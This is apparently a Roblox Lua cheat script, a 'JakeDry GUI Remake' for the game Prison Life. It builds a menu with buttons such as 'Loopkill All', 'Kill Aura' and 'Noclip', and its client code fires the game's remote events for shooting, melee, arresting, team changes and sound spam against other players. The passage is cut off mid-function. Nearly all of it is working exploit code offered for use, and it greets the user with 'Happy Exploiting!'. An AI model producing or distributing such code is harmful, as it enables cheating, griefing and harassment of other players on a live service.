G2L["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["41"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["41"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["41"]["Name"] = [[Btools]]; G2L["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["41"]["Text"] = [[Btools]]; G2L["41"]["Position"] = UDim2.new(0, 216, 0, 400); -- StarterGui.JakeDry.MainFrame.Btools.UIStroke G2L["42"] = Instance.new("UIStroke", G2L["41"]); G2L["42"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Btools.UITextSizeConstraint G2L["43"] = Instance.new("UITextSizeConstraint", G2L["41"]); G2L["43"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.LKAll G2L["44"] = Instance.new("TextButton", G2L["2"]); G2L["44"]["TextWrapped"] = true; G2L["44"]["BorderSizePixel"] = 0; G2L["44"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["TextSize"] = 14; G2L["44"]["TextScaled"] = true; G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["44"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["44"]["Name"] = [[LKAll]]; G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["44"]["Text"] = [[Loopkill All]]; G2L["44"]["Position"] = UDim2.new(0, 432, 0, 300); -- StarterGui.JakeDry.MainFrame.LKAll.UIStroke G2L["45"] = Instance.new("UIStroke", G2L["44"]); G2L["45"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.LKAll.UITextSizeConstraint G2L["46"] = Instance.new("UITextSizeConstraint", G2L["44"]); G2L["46"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.KillCrims G2L["47"] = Instance.new("TextButton", G2L["2"]); G2L["47"]["TextWrapped"] = true; G2L["47"]["BorderSizePixel"] = 0; G2L["47"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["47"]["TextSize"] = 14; G2L["47"]["TextScaled"] = true; G2L["47"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["47"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["47"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["47"]["Name"] = [[KillCrims]]; G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["47"]["Text"] = [[Kill Criminals]]; G2L["47"]["Position"] = UDim2.new(0, 432, 0, 349); -- StarterGui.JakeDry.MainFrame.KillCrims.UIStroke G2L["48"] = Instance.new("UIStroke", G2L["47"]); G2L["48"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.KillCrims.UITextSizeConstraint G2L["49"] = Instance.new("UITextSizeConstraint", G2L["47"]); G2L["49"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Noclip G2L["4a"] = Instance.new("TextButton", G2L["2"]); G2L["4a"]["TextWrapped"] = true; G2L["4a"]["BorderSizePixel"] = 0; G2L["4a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["TextSize"] = 14; G2L["4a"]["TextScaled"] = true; G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4a"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["4a"]["Name"] = [[Noclip]]; G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4a"]["Text"] = [[Noclip]]; G2L["4a"]["Position"] = UDim2.new(0, 432, 0, 400); -- StarterGui.JakeDry.MainFrame.Noclip.UIStroke G2L["4b"] = Instance.new("UIStroke", G2L["4a"]); G2L["4b"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Noclip.UITextSizeConstraint G2L["4c"] = Instance.new("UITextSizeConstraint", G2L["4a"]); G2L["4c"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.FastRUn G2L["4d"] = Instance.new("TextButton", G2L["2"]); G2L["4d"]["TextWrapped"] = true; G2L["4d"]["BorderSizePixel"] = 0; G2L["4d"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["4d"]["TextSize"] = 14; G2L["4d"]["TextScaled"] = true; G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4d"]["Size"] = UDim2.new(0, 111, 0, 50); G2L["4d"]["Name"] = [[FastRUn]]; G2L["4d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4d"]["Text"] = [[Fast Run]]; G2L["4d"]["Position"] = UDim2.new(0, 432, 0, 50); -- StarterGui.JakeDry.MainFrame.FastRUn.UIStroke G2L["4e"] = Instance.new("UIStroke", G2L["4d"]); G2L["4e"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.FastRUn.UITextSizeConstraint G2L["4f"] = Instance.new("UITextSizeConstraint", G2L["4d"]); G2L["4f"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.HighJump G2L["50"] = Instance.new("TextButton", G2L["2"]); G2L["50"]["TextWrapped"] = true; G2L["50"]["BorderSizePixel"] = 0; G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["TextSize"] = 14; G2L["50"]["TextScaled"] = true; G2L["50"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["50"]["Size"] = UDim2.new(0, 103, 0, 50); G2L["50"]["Name"] = [[HighJump]]; G2L["50"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["50"]["Text"] = [[High Jump]]; G2L["50"]["Position"] = UDim2.new(0, 544, 0, 50); -- StarterGui.JakeDry.MainFrame.HighJump.UIStroke G2L["51"] = Instance.new("UIStroke", G2L["50"]); G2L["51"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.HighJump.UITextSizeConstraint G2L["52"] = Instance.new("UITextSizeConstraint", G2L["50"]); G2L["52"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.KillAura G2L["53"] = Instance.new("TextButton", G2L["2"]); G2L["53"]["TextWrapped"] = true; G2L["53"]["BorderSizePixel"] = 0; G2L["53"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["53"]["TextSize"] = 14; G2L["53"]["TextScaled"] = true; G2L["53"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["53"]["Size"] = UDim2.new(0, 103, 0, 50); G2L["53"]["Name"] = [[KillAura]]; G2L["53"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["53"]["Text"] = [[Kill Aura]]; G2L["53"]["Position"] = UDim2.new(0, 544, 0, 100); -- StarterGui.JakeDry.MainFrame.KillAura.UIStroke G2L["54"] = Instance.new("UIStroke", G2L["53"]); G2L["54"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.KillAura.UITextSizeConstraint G2L["55"] = Instance.new("UITextSizeConstraint", G2L["53"]); G2L["55"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.ScriptClient G2L["56"] = Instance.new("LocalScript", G2L["1"]); G2L["56"]["Name"] = [[ScriptClient]]; -- StarterGui.JakeDry.ScriptClient local function C_56() local script = G2L["56"]; local Players = game:GetService("Players") LocalPlayer = Players.LocalPlayer PlUI = LocalPlayer.PlayerGui local StarterGUI = game:GetService("StarterGui") local RunService = game:GetService("RunService") local RStep = RunService.RenderStepped local HBeat = RunService.Heartbeat local UI = script.Parent MainFrame = UI.MainFrame local UI = script.Parent MainFrame = UI.MainFrame MainFrame.Draggable = true; local Rstorage = game:GetService("ReplicatedStorage") local Rservice = game:GetService("RunService") local Hbeat = Rservice.Heartbeat local Rstep = Rservice.RenderStepped local Stepped = Rservice.Stepped local Teams = game:GetService("Teams") local Players = game:GetService("Players") local Camera = game:GetService("Workspace").Camera local LocalPlayer = game.Players.LocalPlayer local Teams = game:GetService("Teams") local Threads, Tasks = nil, nil local Unloaded = false local RegModule = nil local SavedArgs = {}; local Saved = { WalkSpeed = nil; RunSpeed = 25; NormalSpeed = 16; JumpPower = nil; NormalJump = 50; SpinToolRadius = 8; SpinToolSpeed = 10; KillDebounce = {}; MKillDebounce = {}; Cars = {}; PCEvents = {}; Thread = {}; }; local Settings = { KillauraThreshold = 17; JoinNotify = false; PrintDebug = string.sub(LocalPlayer.Name, 1, 5) == "TheDestroyer" or string.sub(LocalPlayer.Name, 1, 9) == "devang099"; User = { RankedCmds = true; HiddenMelee = false; HiddenArrest = false; AutoDumpCar = false; OldItemMethod = false; } }; local LocPL = { Gamepass = nil; UIN = LocalPlayer.Name; UID = LocalPlayer.UserId; ShittyExecutor = nil; isTouch = game:GetService("UserInputService").TouchEnabled; isMouse = game:GetService("UserInputService").MouseEnabled; }; local CmdQueue = {}; local Loops = { KillTeams = { All = false; Guards = false; Inmates = false; Criminals = false; Neutrals = false; Hostiles = false; }; MeleeTeams = { All = false; Guards = false; Inmates = false; Criminals = false; Neutrals = false; }; ArrestTeams = { Inmate = false; Guard = false; Criminal = false; }; AutoArresting = { Plr = {}; All = false; }; TaseTeams = { All = false; Inmates = false; Criminals = false; }; Kill = {}; MeleeKill = {}; RandomKill = {}; ShootKill = {}; PunchKill = {}; VoidKill = {}; Voided = {}; Trapped = {}; Tase = {}; Arrest = {}; MakeCrim = {}; Fling = {}; CarFling = {}; Speed = false; JumpPower = 50; Jump = false; }; local Powers = { Killauras = {}; Taseauras = {}; Antitouch = {}; Antipunch = {}; Antishoot = {}; Antiarrest = {}; Onepunch = {}; Punchaura = {}; Oneshot = {}; FriendlyFire = {}; DeathNuke = {}; }; local Toggles = { ok = false; AutoRespawn = true; AutoFire = false; AutoFireRate = false; AutoGuns = false; AutoItems = false; AutoInfiniteAmmo = false; AutoGunMods = false; AntiBring = false; AntiTase = false; AntiArrest = false; AntiPunch = false; AntiStun = false; Antishoot = false; AntiShield = false; ArrestBack = false; PunchAura = false; SpamPunch = false; Onepunch = false; Oneshot = false; Headshot = false; Silentaim = false; Noclip = false; FriendlyFire = false; MeleeAura = false; ArrestAura = false; MeleeTouch = false; TKA = { Guard = false; Inmate = false; Criminal = false; Enemies = false; }; ESP = false; Virus = false; }; local Teleports = { nspawn = CFrame.new(879, 28, 2349); cells = CFrame.new(918.9735107421875, 99.98998260498047, 2451.423583984375); nexus = CFrame.new(877.929688, 99.9899826, 2373.57031, 0.989495575, 1.64841456e-08, 0.144563332, -3.13438235e-08, 1, 1.00512544e-07, -0.144563332, -1.0398788e-07, 0.989495575); armory = CFrame.new(836.130432, 99.9899826, 2284.55908, 0.999849498, 5.64007507e-08, -0.0173475463, -5.636889e-08, 1, 2.3254485e-09, 0.0173475463, -1.34723666e-09, 0.999849498); yard = CFrame.new(787.560425, 97.9999237, 2468.32056, -0.999741256, -7.32754017e-08, -0.0227459427, -7.49895506e-08, 1, 7.45077955e-08, 0.0227459427, 7.6194226e-08, -0.999741256); crimbase = CFrame.new(-864.760071, 94.4760284, 2085.87671, 0.999284029, 1.78674284e-08, 0.0378339142, -1.85715123e-08, 1, 1.82584365e-08, -0.0378339142, -1.89479969e-08, 0.999284029); cafe = CFrame.new(884.492798, 99.9899368, 2293.54907, -0.0628612712, -2.14097344e-08, -0.998022258, -9.52544568e-08, 1, -1.54524784e-08, 0.998022258, 9.40947018e-08, -0.0628612712); kitchen = CFrame.new(936.633118, 99.9899368, 2224.77148, -0.00265917974, -9.30829671e-08, 0.999996483, -3.28682326e-08, 1, 9.29958901e-08, -0.999996483, -3.26208252e-08, -0.00265917974); roof = CFrame.new(918.694092, 139.709427, 2266.60986, -0.998788536, -7.55880691e-08, -0.0492084064, -7.8453354e-08, 1, 5.62961198e-08, 0.0492084064, 6.00884817e-08, -0.998788536); vents = CFrame.new(933.55376574342, 121.534234671875, 2232.7952174975); office = CFrame.new(706.1928465, 103.14982749, 2344.3957382525); ytower = CFrame.new(786.731873, 125.039917, 2587.79834, -0.0578307845, 8.82393678e-08, 0.998326421, 6.09781523e-08, 1, -8.48549675e-08, -0.998326421, 5.59688687e-08, -0.0578307845); gtower = CFrame.new(505.551605, 125.039917, 2127.41138, -0.99910152, 5.44945458e-08, 0.0423811078, 5.36830491e-08, 1, -2.02856469e-08, -0.0423811078, -1.79922726e-08, -0.99910152); garage = CFrame.new(618.705566, 98.039917, 2469.14136, 0.997341573, 1.85835844e-08, -0.0728682056, -1.79448154e-08, 1, 9.42077172e-09, 0.0728682056, -8.0881204e-09, 0.997341573); sewers = CFrame.new(917.123657, 78.6990509, 2297.05298, -0.999281704, -9.98203404e-08, -0.0378962979, -1.01324503e-07, 1, 3.77708638e-08, 0.0378962979, 4.15835579e-08, -0.999281704); neighborhood = CFrame.new(-281.254669, 54.1751289, 2484.75513, 0.0408788249, 3.26279768e-08, 0.999164104, -3.88249717e-08, 1, -3.10668256e-08, -0.999164104, -3.75225433e-08, 0.0408788249); gas = CFrame.new(-497.284821, 54.3937759, 1686.3175, 0.585129559, -4.33374865e-08, -0.810939848, 5.33533938e-13, 1, -5.34406759e-08, 0.810939848, 3.12692876e-08, 0.585129559); deadend = CFrame.new(-979.852478, 54.1750259, 1382.78967, 0.0152699631, 8.88235174e-09, 0.999883413, 6.75286884e-08, 1, -9.9146682e-09, -0.999883413, 6.76722109e-08, 0.0152699631); store = CFrame.new(455.089508, 11.4253607, 1222.89746, 0.99995482, -3.92535604e-09, 0.00950394664, 2.84450263e-09, 1, 1.1374032e-07, -0.00950394664, -1.13708147e-07, 0.99995482); roadend = CFrame.new(1060.81995, 67.5668106, 1847.08923, 0.0752086118, -1.01192255e-08, -0.997167826, 4.30985886e-10, 1, -1.01154605e-08, 0.997167826, 3.31004502e-10, 0.0752086118); trapbuilding = CFrame.new(-306.715485, 84.2401199, 1984.13367, -0.802221119, 5.70582088e-08, -0.597027004, 4.81801123e-08, 1, 3.08312771e-08, 0.597027004, -4.0313255e-09, -0.802221119); mansion = CFrame.new(-315.790436, 64.5724411, 1840.83521, 0.80697298, -4.47871713e-08, 0.590588331, 1.14004006e-08, 1, 6.02574701e-08, -0.590588331, -4.18932053e-08, 0.80697298); trapbase = CFrame.new(-943.973145, 94.1287613, 1919.73694, 0.025614135, -1.48015129e-08, 0.999671876, 1.00375175e-07, 1, 1.22345032e-08, -0.999671876, 1.00028863e-07, 0.025614135); buildingroof = CFrame.new(-317.689331, 118.838821, 2009.28186, 0.749499857, 2.48145682e-09, 0.662004471, 3.51757373e-10, 1, -4.14664703e-09, -0.662004471, 3.34077632e-09, 0.749499857); }; local States = { SoundSpam = false, LoopSounds = false }; local SavedPositions = {}; local Connections = {}; local Whitelisted = {}; local RankedPlrs = {}; local deprint = function(args) if Settings.PrintDebug then print(args) end end local dewarn = function(args) if Settings.PrintDebug then warn(args) end end local Notif = function(title, text, duration) StarterGUI:SetCore("SendNotification", { Title = title; Text = text; Duration = duration; }) end if PlUI:FindFirstChild(UI.Name) then Notif("Jakedry GUI Remake", "Script is Already Loaded, Deleting Previous GUI.", 5) if PlUI:FindFirstChild(UI.Name) ~= UI then PlUI:FindFirstChild(UI.Name):Destroy() end else Notif("JakeDry GUI Remake", "Script Loaded, Happy Exploiting!", 5) end local VKeyPress = function(args, args2, waits) if args2 == "Press" then game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game) task.wait(.1) game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game) elseif args2 == "Hold" then game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game) elseif args2 == "UnHold" then game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game) elseif args2 == "HoldWait" and waits then game:GetService("VirtualInputManager"):SendKeyEvent(true, args, false, game) wait(waits) game:GetService("VirtualInputManager"):SendKeyEvent(false, args, false, game) end end local waitfor = function(source, args, interval) local int = interval or 5 local timeout = tick() + int repeat Stepped:Wait() until source:FindFirstChild(args) or tick() - timeout >=0 timeout = nil if source:FindFirstChild(args) then return source:FindFirstChild(args) else return nil end end local SaveCamPos = function() SavedPositions.OldCameraPos = Camera.CFrame end local LoadCamPos = function() Rstep:Wait() Camera.CFrame = SavedPositions.OldCameraPos or Camera.CFrame end local LocTP = function(cframe) LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame = cframe end local LAction = function(args, args2) if args == "sit" then LocalPlayer.Character:FindFirstChild("Humanoid").Sit = true elseif args == "unsit" then if args2 then local human = LocalPlayer.Character:FindFirstChildOfClass("Humanoid") for i = 1, 8 do Hbeat:Wait();human.Sit=false;Rstep:Wait();human.Sit=false;Stepped:Wait();human.Sit=false end end;LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(Enum.HumanoidStateType.Running) elseif args == "speed" then LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed = args2 elseif args == "jumppw" then LocalPlayer.Character:FindFirstChild("Humanoid").JumpPower = args2 elseif args == "die" then LocalPlayer.Character:FindFirstChild("Humanoid").Health = 0 elseif args == "died" then LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateType.Dead) elseif args == "jump" then LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(Enum.HumanoidStateType.Jumping) elseif args == "state" then LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):ChangeState(args2) elseif args == "equip" then LocalPlayer.Character:FindFirstChild("Humanoid"):EquipTool(args2) elseif args == "unequip" then LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools() end end --Command functions local PlrFromArgs = function(plr, args) if plr and plr:lower() == "me" then return args elseif not plr and not args then return false elseif not plr and args then return args end local foundplr = false for i,v in pairs(Players:GetPlayers()) do local Name, DisplayName = v.Name:lower(), v.DisplayName:lower() if Name:sub(1, #plr) == plr:lower() or DisplayName:sub(1, #plr) == plr:lower() then foundplr = v end end return foundplr end local GetRandomPlr = function(args) local DaPlayers = Players:GetPlayers() local DaIndex = math.random(1, #DaPlayers) local ToReturn = DaPlayers[DaIndex] if args and ToReturn.UserId == args.UserId then DaPlayers = Players:GetPlayers(); DaIndex = math.random(1, #DaPlayers); ToReturn = DaPlayers[DaIndex] end return ToReturn end --i made it into a whole useless function just to save my hands local CheckWhitelist = function(args) return not (Whitelisted[args.UserId] or Settings.Ranked.AutoWhitelist and RankedPlrs[args.UserId]) end local MeleEve = function(args) Rstorage.meleeEvent:FireServer(args) end local TeamEve = function(args) workspace.Remote.TeamEvent:FireServer(args) end local ArrestEve = function(args, repeated, interval) if repeated then for i = 1, repeated do if interval then task.wait(interval) end task.spawn(function() if args.Character:FindFirstChild("Humanoid") and args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part")) end end) end else workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part")) end end local RTPing = function(value) if value then task.wait(value) end local RT1 = tick() pcall(function() workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]) end) local RT2 = tick() local RoundTrip = (RT2-RT1) * 1000 return RoundTrip end local CPing = function(ConvertToHuman, OneWayTrip) if ConvertToHuman then return OneWayTrip and LocalPlayer:GetNetworkPing() * 1000 or game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue() else return OneWayTrip and LocalPlayer:GetNetworkPing() or game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValue() / 1000 end end local TeamTo = function(args) local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame; SavedPositions.AutoRe = tempos; SaveCamPos() if args == "criminal" then if LocalPlayer.TeamColor.Name == "Medium stone grey" then TeamEve("Bright orange") end workspace["Criminals Spawn"].SpawnLocation.CanCollide = false repeat pcall(function() workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame end) Stepped:Wait() until LocalPlayer.TeamColor == BrickColor.new("Really red") workspace['Criminals Spawn'].SpawnLocation.CFrame = SavedPositions.Crimpad return elseif args == "inmate" then TeamEve("Bright orange") elseif args == "guard" then TeamEve("Bright blue") if #Teams.Guards:GetPlayers() > 7 then return end end LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 5).CFrame = tempos; LoadCamPos() end local ItemGrab = function(source, args) local lroot = LocalPlayer.Character:FindFirstChild("HumanoidRootPart"); local timeout = tick() + 5 if lroot then SavedPositions.GetGunOldPos = not SavedPositions.GetGunOldPos and lroot.CFrame or SavedPositions.GetGunOldPos; end local DaItem = source:FindFirstChild(args); local ItemPickup = DaItem.ITEMPICKUP; local IPickup = ItemPickup.Position if lroot then LocTP(CFrame.new(IPickup)); end; repeat task.wait() pcall(function() LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false; LocTP(CFrame.new(IPickup)) end); task.spawn(function() game:GetService("Workspace").Remote.ItemHandler:InvokeServer(ItemPickup) end) until LocalPlayer.Backpack:FindFirstChild(args) or LocalPlayer.Character:FindFirstChild(args) or tick() - timeout >=0 pcall(function() LocTP(SavedPositions.GetGunOldPos); end); SavedPositions.GetGunOldPos = nil end local ItemHand = function(source, args) if source and source == "old" then game:GetService("Workspace").Remote.ItemHandler:InvokeServer(args) return end; if Settings.User.OldItemMethod then if source then ItemGrab(source, args) else for _,sources in pairs(workspace.Prison_ITEMS:GetChildren()) do if sources:FindFirstChild(args) then ItemGrab(source, args) break end end end return end; if source then workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = source:FindFirstChild(args)}) else workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = workspace.Prison_ITEMS.giver:FindFirstChild(args) or workspace.Prison_ITEMS.single:FindFirstChild(args)}) end end local Gun = function(args) if Settings.User.OldItemMethod then ItemHand(workspace["Prison_ITEMS"].giver, args) return end; workspace.Remote.ItemHandler:InvokeServer({Position = LocalPlayer.Character.Head.Position, Parent = workspace.Prison_ITEMS.giver:FindFirstChild(args) or workspace.Prison_ITEMS.single:FindFirstChild(args)}) end local AllGuns = function() if Settings.User.OldItemMethod then Gun("AK-47") Gun("Remington 870") else task.spawn(Gun, "AK-47") task.spawn(Gun, "Remington 870") end Gun("M9") task.wait() end local CreateClientRay = function(RayS, CustomColor) for i = 1, #RayS do local NewRay = Instance.new("Part", workspace.CurrentCamera) NewRay.Name = "ClientRay" NewRay.Material = Enum.Material.Neon NewRay.Anchored = true NewRay.CanCollide = false NewRay.Transparency = 0.5 NewRay.formFactor = Enum.FormFactor.Custom NewRay.Size = Vector3.new(0.2, 0.2, RayS[i].Distance) NewRay.CFrame = RayS[i].Cframe local Mesh = Instance.new("BlockMesh", NewRay) Mesh.Scale = Vector3.new(0.5, 0.5, 1) if CustomColor then NewRay.BrickColor = BrickColor.new(CustomColor) else NewRay.BrickColor = BrickColor.Yellow() end game:GetService("Debris"):AddItem(NewRay, 0.05) end end local MultiKill = function(plrs, exclude) local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") if not AK and not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then Gun("AK-47") task.wait() AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") elseif LocalPlayer.TeamColor == BrickColor.new("Bright blue") then AK = LocalPlayer.Backpack:FindFirstChild("M9") or LocalPlayer.Character:FindFirstChild("M9") end local neutralkill, hasplayers = nil, nil local ShootEvents = {} for i,v in pairs(plrs:GetPlayers()) do if not (v == LocalPlayer or v == exclude) then if v.Character and not v.Character:FindFirstChildWhichIsA("ForceField") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then hasplayers = true if v.TeamColor == LocalPlayer.TeamColor then if v.TeamColor == BrickColor.new("Bright orange") then TeamTo("criminal") elseif v.TeamColor == BrickColor.new("Really red") or v.TeamColor == BrickColor.new("Bright blue") then neutralkill = true end end for i = 1, 10 do ShootEvents[#ShootEvents + 1] = { Hit = v.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; } end end end end if not hasplayers then return end task.spawn(function() for i = 1, 20 do Rstorage.ReloadEvent:FireServer(AK) task.wait(.1) end end) if neutralkill then SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame SaveCamPos() TeamEve("Medium stone grey") Rstorage.ShootEvent:FireServer(ShootEvents, AK) task.wait(0.06) TeamEve("Bright orange") else Rstorage.ShootEvent:FireServer(ShootEvents, AK) end end local ShootKill = function(plr, amount, guntouse, hitpart) if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character.Humanoid.Health ~= 0 then if plr.TeamColor == LocalPlayer.TeamColor then if plr.TeamColor == BrickColor.new("Bright orange") then TeamTo("criminal") else TeamTo("inmate") RTPing(0.1) end end local DeGun = guntouse or "AK-47" local HasGun = LocalPlayer.Character:FindFirstChild(DeGun) or LocalPlayer.Backpack:FindFirstChild(DeGun) if not HasGun then Gun(DeGun) HasGun = waitfor(LocalPlayer.Backpack, DeGun, 1) end local ToHit = hitpart or plr.Character:FindFirstChildWhichIsA("BasePart") local Times = amount or 15 LAction("equip", HasGun) for i = 1, Times do if not HasGun then break end local Start, End = HasGun:FindFirstChild("Muzzle").Position, plr.Character:FindFirstChild("HumanoidRootPart").Position local EA = { [1] = { Hit = ToHit; Cframe = CFrame.new(End, Start) * CFrame.new(0, 0, -(Start-End).Magnitude / 2); Distance = (Start-End).Magnitude; RayObject = Ray.new(Vector3.new(), Vector3.new()); }; }; if DeGun == "Remington 870" then for i = 1, 4 do local tmp = End End = End + Vector3.new(math.random(-1, 1), math.random(-1, 2), math.random(-1, 1)) EA[#EA+1] = { Hit = ToHit; Cframe = CFrame.new(End, Start) * CFrame.new(0, 0, -(Start-End).Magnitude / 2); Distance = (Start-End).Magnitude; RayObject = Ray.new(Vector3.new(), Vector3.new()); }; End = tmp tmp = nil end end CreateClientRay(EA) Rstorage.ShootEvent:FireServer(EA, HasGun) Rstorage.ReloadEvent:FireServer(HasGun) task.wait(.1) if plr.Character and plr.Character:FindFirstChildOfClass("Humanoid").Health == 0 then break end end end end SoundSpam = function() task.spawn(function() while States.SoundSpam do task.wait() local sounds = {} for ii,vv in next, workspace:GetDescendants() do if vv:IsA("Sound") then sounds[#sounds+1] = vv end end; task.wait() pcall(function() for i,v in pairs(Players:GetPlayers()) do if v.Character and v.Character:FindFirstChild("Head") then local vhead = v.Character:FindFirstChild("Head") for ii,vv in ipairs(sounds) do Rstorage.SoundEvent:FireServer(vv, vhead); vv:Play() end end; wait(CPing()+0.15) end; sounds = nil end) task.wait(.1); RTPing() end end) end; LoopSounds = function() task.spawn(function() while States.LoopSounds do task.wait() pcall(function() for i,v in pairs(Players:GetPlayers()) do if v and v.Character then local head = v.Character.Head local punch = head.punchSound; punch.Volume = math.huge Rstorage.SoundEvent:FireServer(punch) local ring = workspace["Prison_guardspawn"].spawn.Sound Rstorage.SoundEvent:FireServer(ring, head) ring:Play(); punch:Play() end end end); task.wait(.08) end end) end; SavedPositions.AutoRe = false local diedevent local lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() local function ondiedevent() coroutine.wrap(function() diedevent:Disconnect(); SaveCamPos() SavedPositions.AutoRe = lochar:WaitForChild("HumanoidRootPart", 1) and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame end)() if Toggles.AutoRespawn then local locteam = LocalPlayer.TeamColor if locteam == BrickColor.new("Really red") then if #Teams.Guards:GetPlayers() < 8 then TeamEve("Bright blue") else TeamEve("Bright orange") end workspace["Criminals Spawn"].SpawnLocation.CanCollide = false workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame LocalPlayer.CharacterAdded:Wait() repeat task.wait() pcall(function() workspace["Criminals Spawn"].SpawnLocation.CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame end) until LocalPlayer.TeamColor == BrickColor.new("Really red"); workspace['Criminals Spawn'].SpawnLocation.CFrame = SavedPositions.Crimpad elseif locteam == BrickColor.new("Bright blue") then if #Teams.Guards:GetPlayers() == 8 then TeamEve("Bright orange") end; TeamEve("Bright blue") elseif locteam == BrickColor.new("Bright orange") then TeamEve("Bright orange") else TeamEve("Medium stone grey") end end end local function charaddtask() diedevent:Disconnect() local LHuman = lochar:WaitForChild("Humanoid", 1) if LHuman then diedevent = LHuman.Died:Connect(ondiedevent) if Connections.Humanation then Connections.Humanation:Disconnect(); Connections.Humanation = nil end Connections.Humanation = 